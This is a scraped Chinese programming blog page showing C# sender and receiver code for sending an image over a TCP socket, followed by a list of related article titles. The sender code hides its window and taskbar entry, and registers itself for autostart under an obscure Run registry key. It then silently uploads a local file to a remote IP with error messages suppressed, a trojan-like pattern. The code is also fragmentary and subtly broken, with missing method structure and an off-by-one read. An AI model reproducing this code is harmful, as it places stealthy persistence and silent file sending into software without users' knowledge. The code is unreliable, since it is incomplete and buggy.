c#2005如何通过socket传输图片
来源:互联网 发布:淘宝规则小卖家死 编辑:程序博客网 时间:2024/05/01 03:47
发送端
using Microsoft.Win32;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Data.SqlClient;
using System.Configuration;
using System.Net.NetworkInformation;
#endregion
/// <summary>
/// 应用程序的主入口点。
/// </summary>
public string StrIp = "";
System.Net.Sockets.Socket sendsocket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
// *********************************************************************************************最小化托盘
this.Hide();
this.ShowInTaskbar = false;
string starupPath = Application.ExecutablePath;
RegistryKey loca = Registry.LocalMachine;
RegistryKey run = loca.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
try
{
run.SetValue("ss", starupPath);
//MessageBox.Show("开机自动启动设置成功!!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information)
loca.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message.ToString(), "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
// ****************************************************************************************最小化托盘
//实例化socket
System.Net.IPEndPoint ipendpiont = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(StrIp.Replace("'", "''").Trim()),8080);
try
{
sendsocket.Connect(ipendpiont);
}
catch (Exception se)
{
// MessageBox.Show("连接错误" + se.Message, "提示信息", MessageBoxButtons.RetryCancel, MessageBoxIcon.Information);
sendsocket.Close();
return;
}
try
{
//********************开始使用socket发送文件********************//
//建立终结点
System.IO.FileStream fs = new System.IO.FileStream("d://新建文件夹//a.jpg", System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.Read);
byte[] fssize = new byte[fs.Length];
System.IO.BinaryReader strread = new System.IO.BinaryReader(fs);
strread.Read(fssize, 0, fssize.Length - 1);
sendsocket.Send(fssize);
fs.Close();
sendsocket.Shutdown(System.Net.Sockets.SocketShutdown.Send);
sendsocket.Close();
//***********************************************************************************************************end*******************************************************//
}
catch (Exception ex)
{
string s = ex.ToString();
return;
}
finally
{
//强制关闭发送连接
sendsocket.Close();
}
#region 时钟连接
private void timer1_Tick(object sender, EventArgs e)
{
if (sendsocket.Connected)
{
this.label1.Text = "连接成功";
}
else
{
return;
}
}
#endregion
接收端
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Drawing;
using System.Text;
using System.Net;
using System.IO;
using System.Net.Sockets;
using System.Drawing.Imaging;
using System.Threading;
using Microsoft.Win32;
using System.Data.SqlClient;
public partial class Admin_FilmPic : System.Web.UI.Page
{
System.Net.Sockets.Socket receivesocket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
System.Net.IPEndPoint hostipendpoint = new System.Net.IPEndPoint(System.Net.IPAddress.Any, 8080);
#region 初始化
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
}
}
#endregion
#region 监听和连接
//监听和连接
protected void Button2_Click(object sender, EventArgs e)
{
try
{
//设置接收数据缓冲区的大小
byte[] b = new byte[1024 * 4]; //1024* 4
receivesocket.Bind(hostipendpoint);
//监听
receivesocket.Listen(2);
this.Label1.Text = "已经开始监听";
System.Net.Sockets.Socket hostsocket = receivesocket.Accept();
//如何确定该数组大小
System.IO.MemoryStream fs = new System.IO.MemoryStream();
int got = 0;
int datalength = 0;
while (true)
{
got = hostsocket.Receive(b);
fs.Write(b, 0, got);
if (got > 0)
datalength = datalength + got;
else
break;
}
Bitmap Img = new Bitmap(fs);
Img.Save(Server.MapPath(Request.ApplicationPath) + "//pic//a.jpg", ImageFormat.Jpeg);
string aa = Server.MapPath(Request.ApplicationPath) + "//pic//a.jpg";
this.Image1.ImageUrl = aa;
this.Image1.Width = 600;
this.Image1.Height = 400;
//关闭写文件流
fs.Close();
//关闭接收数据的Socket
hostsocket.Shutdown(System.Net.Sockets.SocketShutdown.Receive);
hostsocket.Close();
//关闭发送连接
receivesocket.Close();
// this.Response.Write(" <script language=javascript>alert('传输成功!');</script>");
}
catch (Exception se)
{
receivesocket.Close();
this.Response.Write("连接错误" + se.ToString());
return;
}
finally
{
//强制关闭发送连接
receivesocket.Close();
}
}
#endregion
}
- c#2005如何通过socket传输图片
- C# Socket传输图片
- 树莓派通过socket传输图片流-Python
- 树莓派通过socket传输图片流-Python
- c++ 通过socket(网络套接字)传输图片(服务端)
- c++ 通过socket(网络套接字)传输图片(客户端)
- 通过socket传输文件
- C#中通过Socket传递图片
- Java Socket传输图片
- 使用Socket传输图片
- VC socket传输图片
- socket传输图片文件
- JAVA socket传输图片
- 关于socket传输图片
- c# socket 传输文件
- c# socket 传输文件
- C# socket 传输对象
- C# Socket传输DataTable
- 2009年10个Java技术解决方案
- 培训,真的该认真搞
- Struts2配置自定义跳转
- 一位软件工程师的6年总结
- 获取用户IP地址的三个属性的区别(HTTP_X_FORWARDED_FOR,HTTP_VIA,REMOTE_ADDR)
- c#2005如何通过socket传输图片
- compress函数与uncompress函数
- Python的SimpleHTTPServer
- TabControl标签颜色改变
- DELPHI 日期与时间的计算
- irrlicht中设置平行光
- C# bool 与 int string 的对应关系
- 14.3.2 调用IMPDP——导入表
- 强烈建议修改CSDN积分规则!!!!!!!